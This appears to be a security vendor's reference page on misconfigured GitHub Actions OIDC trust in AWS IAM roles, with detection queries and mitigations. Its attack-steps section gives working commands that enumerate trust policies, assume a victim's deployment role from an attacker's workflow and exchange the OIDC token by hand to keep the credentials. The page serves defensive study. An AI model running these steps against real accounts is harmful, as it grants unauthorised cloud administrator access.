1. Resources
  2. Identity Threats
  3. AWS

GitHub Actions OIDC Role Trust Misconfiguration in AWS

Also known as: GitHub OIDC trust abuse, Missing sub condition, Wildcard GitHub subject claim, AssumeRoleWithWebIdentity from GitHub Actions

An IAM role that trusts GitHub's OIDC issuer without a tight subject condition lets workflows in repositories, branches or pull requests the owner never intended assume it.

Platform
AWS
Impact
Critical
Last updated
Attack difficulty
Low
Detection difficulty
Medium
Privileges required: Any authenticated identity
A GitHub account that can run a workflow whose token matches the role's trust: any repository when sub is unchecked, or push access to a matching repository or branch.
What the attacker gains
Temporary AWS credentials for the deployment role, which usually can create and change infrastructure in the account.
Threat groups
APT28APT29APT33APT38APT5HAFNIUMKe3changLAPSUS$NIMBUS MANTICOREScattered SpiderShinyHuntersStorm-0501TeamPCPVOID MANTICOREand 8 more in MITRE ATT&CKGroups that MITRE ATT&CK records using T1078.004, T1199, T1550.001.

How it works

GitHub Actions can sign a short-lived OpenID Connect token for each job. AWS accepts that token through workload identity federation: the account registers token.actions.githubusercontent.com as an IAM OIDC provider, a role names the provider as a Federated principal, and the job calls sts:AssumeRoleWithWebIdentity with the token. No access key is stored in GitHub, which is the reason to use it.

GitHub operates one issuer for all of its customers. The issuer and the audience (sts.amazonaws.com for the official AWS action) are therefore identical for every repository on GitHub. What identifies the job is the subject claim. GitHub documents these default formats:

Job context sub
Branch repo:ORG/REPO:ref:refs/heads/BRANCH
Tag repo:ORG/REPO:ref:refs/tags/TAG
Pull request event, no environment repo:ORG/REPO:pull_request
Job that references an environment repo:ORG/REPO:environment:NAME

The role's trust policy must bind the subject. The misconfigurations that break this are:

  • No subject condition. The trust checks only aud. Any workflow in any GitHub repository, including one the attacker creates in a minute, can assume the role. IAM now refuses to save such a policy, but roles created before that check keep working.
  • Organization-wide wildcard. StringLike with repo:example-org/* trusts every repository in the organization, on every branch, tag and pull request. Anyone who can create a repository or push a workflow anywhere in the organization gets the role.
  • Repository-wide wildcard. repo:example-org/app:* trusts every ref of one repository. A contributor with write access pushes a branch with a changed workflow and gets the production role without review. The pull_request subject matches too.
  • Prefix that isn't anchored. repo:example-org* without the slash also matches example-org-test/anything, an organization name an attacker can register.
  • Unprotected environment. repo:example-org/app:environment:production is safe only when the environment restricts deployment branches or requires reviewers. Otherwise a job on any branch declares environment: production and receives that subject.
  • Recycled names. The classic subject uses names only. If an organization or repository name is released and registered again by someone else, the same subject is issued to the new owner. GitHub's immutable subject format, the default for repositories created after July 15, 2026, adds owner and repository IDs for this reason.

This page covers the AWS side of the trust. Getting code to run inside a correctly trusted repository is covered in pwn requests and workflow script injection.

Prerequisites

  • An IAM role whose trust policy names the GitHub OIDC provider and matches a subject the attacker can obtain.
  • The role ARN. It is written in workflow files as role-to-assume, so it is public for public repositories and visible to every reader of a private one.
  • A place to run a job that receives a matching token: any GitHub repository for a role with no subject check, any repository in the organization for an organization wildcard, or push access to the trusted repository for a repository wildcard.
  • The job needs id-token: write. A workflow author sets that in the workflow file.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Read the trust (with access to the account)

aws iam list-open-id-connect-providers
aws iam get-open-id-connect-provider \
    --open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/token.actions.githubusercontent.com

# Roles and their trust statements: look for the GitHub provider and its Condition block
aws iam list-roles \
    --query 'Roles[].{Role:RoleName,Trust:AssumeRolePolicyDocument.Statement}' \
    --output json
aws iam get-role --role-name github-deploy --query 'Role.AssumeRolePolicyDocument'

A vulnerable statement looks like this. The only condition is the audience:

{
  "Effect": "Allow",
  "Principal": {
    "Federated": "arn:aws:iam::111122223333:oidc-provider/token.actions.githubusercontent.com"
  },
  "Action": "sts:AssumeRoleWithWebIdentity",
  "Condition": {
    "StringEquals": {
      "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
    }
  }
}

Without account access, the attacker reads role-to-assume from the target's workflow files and simply tries the role from a repository of their own.

2. Run a workflow that assumes the role

Commit this workflow to a repository whose token matches the trust:

name: oidc-check
on: workflow_dispatch

permissions:
  id-token: write
  contents: read

jobs:
  assume:
    runs-on: ubuntu-latest
    steps:
      - uses: aws-actions/configure-aws-credentials@v6.3.1
        with:
          role-to-assume: arn:aws:iam::111122223333:role/github-deploy
          aws-region: us-east-1
      - run: aws sts get-caller-identity

If the step succeeds, the job holds the role's credentials and every later aws command runs as the role. For an unprotected environment subject, add environment: production to the job.

3. Do the exchange by hand

The same exchange without the action shows what is sent, and lets the attacker keep the credentials. Inside a job with id-token: write, the runner exposes a request URL and a bearer token for GitHub's OIDC provider:

# Request a token with the audience AWS expects
OIDC_TOKEN=$(curl -s -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
    "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" | jq -r '.value')

# Exchange it. This call needs no AWS credentials
aws sts assume-role-with-web-identity \
    --role-arn arn:aws:iam::111122223333:role/github-deploy \
    --role-session-name GitHubActions \
    --web-identity-token "$OIDC_TOKEN" \
    --duration-seconds 3600

The response contains the credentials and SubjectFromWebIdentityToken, the subject AWS accepted. The credentials work from anywhere until they expire, so an attacker sends them out of the runner and continues from their own machine.

4. Use the role

export AWS_ACCESS_KEY_ID=ASIAEXAMPLEKEYID
export AWS_SECRET_ACCESS_KEY=EXAMPLESECRETKEY
export AWS_SESSION_TOKEN=EXAMPLESESSIONTOKEN
aws sts get-caller-identity
aws iam list-attached-role-policies --role-name github-deploy

Impact

Deployment roles are among the most powerful identities in an account. They create and replace infrastructure, pass roles to services, and often hold AdministratorAccess because that was the fastest way to make a pipeline work. An attacker who can assume one from outside has initial access to the AWS account with no stolen secret, from a workload identity that the account trusts by design.

With a role that has no subject check, the attacker needs nothing from the victim except the role ARN. With a wildcard, a low-privileged contributor or a compromised developer account becomes a cloud administrator, and branch protection on main doesn't help because the attacker's branch is trusted as well.

OPSEC and artifacts

  • The exchange is always logged. AssumeRoleWithWebIdentity is a management event under sts.amazonaws.com in the role's account, with userIdentity.type of WebIdentityUser, the provider ARN in userIdentity.identityProvider and the token's subject in userIdentity.userName. A job from a foreign repository shows its own repo:owner/name there.
  • The session name blends in. The official action defaults to GitHubActions, and an attacker using the CLI passes the same name. The subject in the STS event still differs.
  • Denied attempts are logged too, with an error code, when the request is valid enough to evaluate. Trial and error against subject patterns shows up as a run of failures before a success.
  • Exfiltrated credentials change the source address. Calls from the role session that come from outside GitHub's runner address ranges, or with a desktop user agent, are a strong signal.
  • GitHub keeps its side. The workflow run, its commit, its actor and its logs exist until someone deletes them. In a repository the attacker owns, the victim can't see any of it.
  • A workflow run can succeed without touching AWS, and a matching subject doesn't identify a single run: two runs on the same branch carry the same subject. Join on time and session.

Detection

  • Unexpected subjects. List the subjects that assumed each GitHub-trusted role and compare them with the repositories and refs that should deploy.
-- Athena, CloudTrail table: which GitHub subjects obtained which role
SELECT
    json_extract_scalar(requestparameters, '$.roleArn') AS role_arn,
    useridentity.username AS github_subject,
    count(*) AS exchanges,
    min(eventtime) AS first_seen,
    max(eventtime) AS last_seen
FROM cloudtrail_logs
WHERE eventsource = 'sts.amazonaws.com'
  AND eventname = 'AssumeRoleWithWebIdentity'
  AND useridentity.principalid LIKE '%token.actions.githubusercontent.com%'
  AND errorcode IS NULL
  AND eventtime >= '2026-11-01T00:00:00Z'
GROUP BY 1, 2
ORDER BY first_seen DESC

For a web identity session, principalId holds the provider ARN, the audience and the subject, which is why the filter reads it.

Mitigation

  • Pin the subject with StringEquals. Name the organization, the repository and the branch or environment. Avoid StringLike unless a wildcard is needed, and then keep it after ref:refs/heads/ or similar, never in the organization or repository part.
"Condition": {
  "StringEquals": {
    "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
    "token.actions.githubusercontent.com:sub": "repo:example-org/app:environment:production"
  }
}
  • Protect the environment the subject names. Restrict deployment branches and tags and require reviewers, so that only reviewed code on the intended branch can declare the environment. AWS recommends also restricting the branch in the trust policy when the subject names an environment.
  • Audit legacy roles. Find every role that trusts the GitHub provider and rewrite any trust without a subject condition. IAM blocks new ones, not old ones.
  • Use one role per repository and purpose, with the least privilege that pipeline needs, and separate plan or read roles for pull requests from deploy roles for the main branch.
  • Adopt immutable subjects. Opt older repositories in to GitHub's subject format with owner and repository IDs, and update the trust policies to match, so a renamed or recycled namespace can't inherit the role.
  • Keep sessions short and scoped. Leave the role's maximum session duration at one hour and add a permissions boundary or a session policy in the workflow.
  • Limit who can write workflows. Protect .github/workflows with CODEOWNERS review and restrict repository creation in the organization, because every writer of a trusted ref is a holder of the role.

Detection rules for this attack

Log events to collect

FAQ

Doesn't AWS reject a GitHub OIDC trust policy without a sub condition?

Today it does. When a trust policy that names GitHub's OIDC provider is created or updated, IAM checks that token.actions.githubusercontent.com:sub is present and is not only a wildcard. Roles written before the check still work as they are, and a pattern such as repo:example-org/* passes the check while trusting every repository, branch and pull request of the organization.

Why isn't the audience condition enough?

The audience sts.amazonaws.com is the same for every GitHub repository that uses the official AWS action. GitHub runs one shared issuer for all of its customers, so issuer and audience together only prove that the token came from some GitHub Actions job. Only the subject, or claims such as repository and job_workflow_ref, say which job.

Is an environment subject safe?

Only if the environment is protected. A subject of repo:ORG/REPO:environment:production is issued to any job that declares that environment. Without deployment branch rules or required reviewers on the environment, a job on any branch can declare it and receive the token.

What does the attack look like in CloudTrail?

As an AssumeRoleWithWebIdentity event under sts.amazonaws.com with userIdentity.type WebIdentityUser. The identity provider ARN is in userIdentity.identityProvider and the token's subject in userIdentity.userName, so the repository and ref that obtained the role are recorded.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.